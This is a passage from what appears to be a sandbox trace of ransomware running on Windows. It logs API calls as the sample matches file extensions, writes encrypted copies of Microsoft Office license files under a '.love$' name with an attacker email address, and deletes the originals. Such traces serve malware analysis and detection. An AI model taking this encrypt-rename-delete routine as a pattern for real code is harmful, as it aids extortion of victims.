Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms") returned 83 [0277.570] lstrlenW (lpString=".1cd") returned 4 [0277.570] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0277.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms") returned 83 [0277.570] lstrlenW (lpString=".jpg") returned 4 [0277.570] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0277.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms") returned 83 [0277.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms") returned 83 [0277.571] lstrlenW (lpString=".doc") returned 4 [0277.571] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0277.571] lstrlenW (lpString=".docx") returned 5 [0277.571] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0277.571] lstrlenW (lpString=".pdf") returned 4 [0277.571] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0277.571] lstrlenW (lpString=".xls") returned 4 [0277.571] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0277.571] lstrlenW (lpString=".xlsx") returned 5 [0277.571] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0277.571] lstrlenW (lpString=".ppt") returned 4 [0277.571] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0277.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms") returned 83 [0277.571] lstrlenW (lpString=".zip") returned 4 [0277.571] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0277.571] lstrlenW (lpString=".rar") returned 4 [0277.571] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0277.571] lstrlenW (lpString=".bz2") returned 4 [0277.571] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0277.571] lstrlenW (lpString=".7z") returned 3 [0277.571] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0277.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms") returned 83 [0277.571] lstrlenW (lpString=".dbf") returned 4 [0277.571] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0277.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms") returned 83 [0277.571] lstrlenW (lpString=".1cd") returned 4 [0277.572] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0277.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms") returned 83 [0277.572] lstrlenW (lpString=".jpg") returned 4 [0277.572] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0277.572] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0277.572] lstrlenW (lpString="O365HomePremR_SubTrial4-pl.xrm-ms") returned 33 [0277.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0277.573] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=11183) returned 1 [0277.573] CloseHandle (hObject=0x550) returned 1 [0277.573] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-pl.xrm-ms")) returned 0x220 [0277.574] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0277.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0277.574] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.574] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0277.576] GetLastError () returned 0x0 [0277.576] ReadFile (in: hFile=0x550, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x2baf, lpOverlapped=0x0) returned 1 [0278.802] WriteFile (in: hFile=0x56c, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x2bb0, lpOverlapped=0x0) returned 1 [0278.803] ReadFile (in: hFile=0x550, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0278.803] WriteFile (in: hFile=0x56c, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x116, lpOverlapped=0x0) returned 1 [0278.803] SetEndOfFile (hFile=0x56c) returned 1 [0278.804] CloseHandle (hObject=0x56c) returned 1 [0278.804] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.804] SetEndOfFile (hFile=0x550) returned 1 [0278.807] CloseHandle (hObject=0x550) returned 1 [0278.808] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0278.808] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-pl.xrm-ms")) returned 1 [0278.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms") returned 83 [0278.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms") returned 83 [0278.810] lstrlenW (lpString=".doc") returned 4 [0278.810] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0278.810] lstrlenW (lpString=".docx") returned 5 [0278.810] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0278.810] lstrlenW (lpString=".pdf") returned 4 [0278.810] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0278.810] lstrlenW (lpString=".xls") returned 4 [0278.810] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0278.810] lstrlenW (lpString=".xlsx") returned 5 [0278.810] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0278.810] lstrlenW (lpString=".ppt") returned 4 [0278.810] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0278.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms") returned 83 [0278.810] lstrlenW (lpString=".zip") returned 4 [0278.810] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0278.810] lstrlenW (lpString=".rar") returned 4 [0278.810] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0278.811] lstrlenW (lpString=".bz2") returned 4 [0278.811] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0278.811] lstrlenW (lpString=".7z") returned 3 [0278.811] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0278.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms") returned 83 [0278.811] lstrlenW (lpString=".dbf") returned 4 [0278.811] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0278.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms") returned 83 [0278.811] lstrlenW (lpString=".1cd") returned 4 [0278.811] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0278.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms") returned 83 [0278.811] lstrlenW (lpString=".jpg") returned 4 [0278.811] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0278.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms") returned 83 [0278.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms") returned 83 [0278.811] lstrlenW (lpString=".doc") returned 4 [0278.811] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0278.811] lstrlenW (lpString=".docx") returned 5 [0278.811] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0278.811] lstrlenW (lpString=".pdf") returned 4 [0278.811] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0278.811] lstrlenW (lpString=".xls") returned 4 [0278.811] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0278.811] lstrlenW (lpString=".xlsx") returned 5 [0278.811] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0278.811] lstrlenW (lpString=".ppt") returned 4 [0278.811] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0278.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms") returned 83 [0278.812] lstrlenW (lpString=".zip") returned 4 [0278.812] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0278.812] lstrlenW (lpString=".rar") returned 4 [0278.812] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0278.812] lstrlenW (lpString=".bz2") returned 4 [0278.812] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0278.812] lstrlenW (lpString=".7z") returned 3 [0278.812] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0278.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms") returned 83 [0278.812] lstrlenW (lpString=".dbf") returned 4 [0278.812] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0278.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms") returned 83 [0278.812] lstrlenW (lpString=".1cd") returned 4 [0278.812] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0278.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms") returned 83 [0278.812] lstrlenW (lpString=".jpg") returned 4 [0278.812] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0278.813] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0278.813] lstrlenW (lpString="O365HomePremR_SubTrial4-ul-oob.xrm-ms") returned 37 [0278.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0278.814] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=11635) returned 1 [0278.814] CloseHandle (hObject=0x550) returned 1 [0278.814] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-ul-oob.xrm-ms")) returned 0x220 [0278.814] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0278.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0278.815] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.815] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0278.817] GetLastError () returned 0x0 [0278.817] ReadFile (in: hFile=0x550, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x2d73, lpOverlapped=0x0) returned 1 [0278.869] WriteFile (in: hFile=0x56c, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x2d80, lpOverlapped=0x0) returned 1 [0278.871] ReadFile (in: hFile=0x550, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0278.871] WriteFile (in: hFile=0x56c, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x11e, lpOverlapped=0x0) returned 1 [0278.871] SetEndOfFile (hFile=0x56c) returned 1 [0280.837] CloseHandle (hObject=0x56c) returned 1 [0280.944] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.944] SetEndOfFile (hFile=0x550) returned 1 [0280.948] CloseHandle (hObject=0x550) returned 1 [0280.948] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0280.949] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-ul-oob.xrm-ms")) returned 1 [0280.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms") returned 87 [0280.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms") returned 87 [0280.950] lstrlenW (lpString=".doc") returned 4 [0280.950] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0280.950] lstrlenW (lpString=".docx") returned 5 [0280.950] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0280.950] lstrlenW (lpString=".pdf") returned 4 [0280.950] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0280.950] lstrlenW (lpString=".xls") returned 4 [0280.950] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0280.951] lstrlenW (lpString=".xlsx") returned 5 [0280.951] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0280.951] lstrlenW (lpString=".ppt") returned 4 [0280.951] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0280.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms") returned 87 [0280.951] lstrlenW (lpString=".zip") returned 4 [0280.951] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0280.951] lstrlenW (lpString=".rar") returned 4 [0280.951] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0280.951] lstrlenW (lpString=".bz2") returned 4 [0280.951] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0280.951] lstrlenW (lpString=".7z") returned 3 [0280.951] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0280.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms") returned 87 [0280.951] lstrlenW (lpString=".dbf") returned 4 [0280.951] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0280.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms") returned 87 [0280.951] lstrlenW (lpString=".1cd") returned 4 [0280.951] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0280.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms") returned 87 [0280.951] lstrlenW (lpString=".jpg") returned 4 [0280.951] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0280.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms") returned 87 [0280.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms") returned 87 [0280.951] lstrlenW (lpString=".doc") returned 4 [0280.951] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0280.952] lstrlenW (lpString=".docx") returned 5 [0280.952] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0280.952] lstrlenW (lpString=".pdf") returned 4 [0280.952] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0280.952] lstrlenW (lpString=".xls") returned 4 [0280.952] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0280.952] lstrlenW (lpString=".xlsx") returned 5 [0280.952] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0280.952] lstrlenW (lpString=".ppt") returned 4 [0280.952] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0280.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms") returned 87 [0280.952] lstrlenW (lpString=".zip") returned 4 [0280.952] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0280.952] lstrlenW (lpString=".rar") returned 4 [0280.952] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0280.952] lstrlenW (lpString=".bz2") returned 4 [0280.952] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0280.952] lstrlenW (lpString=".7z") returned 3 [0280.952] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0280.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms") returned 87 [0280.952] lstrlenW (lpString=".dbf") returned 4 [0280.952] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0280.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms") returned 87 [0280.952] lstrlenW (lpString=".1cd") returned 4 [0280.952] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0280.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms") returned 87 [0280.952] lstrlenW (lpString=".jpg") returned 4 [0280.952] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0280.953] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0280.953] lstrlenW (lpString="O365ProPlusR_Subscription1-pl.xrm-ms") returned 36 [0280.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0280.954] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=11195) returned 1 [0280.955] CloseHandle (hObject=0x550) returned 1 [0280.955] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-pl.xrm-ms")) returned 0x220 [0280.955] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0280.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0280.955] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.956] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0280.957] GetLastError () returned 0x0 [0280.957] ReadFile (in: hFile=0x550, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x2bbb, lpOverlapped=0x0) returned 1 [0281.161] WriteFile (in: hFile=0x418, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x2bc0, lpOverlapped=0x0) returned 1 [0281.162] ReadFile (in: hFile=0x550, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0281.162] WriteFile (in: hFile=0x418, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x11c, lpOverlapped=0x0) returned 1 [0281.162] SetEndOfFile (hFile=0x418) returned 1 [0281.163] CloseHandle (hObject=0x418) returned 1 [0281.163] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.163] SetEndOfFile (hFile=0x550) returned 1 [0281.167] CloseHandle (hObject=0x550) returned 1 [0281.168] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0281.168] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-pl.xrm-ms")) returned 1 [0281.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms") returned 86 [0281.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms") returned 86 [0281.170] lstrlenW (lpString=".doc") returned 4 [0281.170] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0281.170] lstrlenW (lpString=".docx") returned 5 [0281.170] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0281.170] lstrlenW (lpString=".pdf") returned 4 [0281.170] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0281.170] lstrlenW (lpString=".xls") returned 4 [0281.170] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0281.170] lstrlenW (lpString=".xlsx") returned 5 [0281.170] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0281.170] lstrlenW (lpString=".ppt") returned 4 [0281.170] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0281.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms") returned 86 [0281.170] lstrlenW (lpString=".zip") returned 4 [0281.170] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0281.170] lstrlenW (lpString=".rar") returned 4 [0281.170] lstrcmpiW (lpString1=".rar", 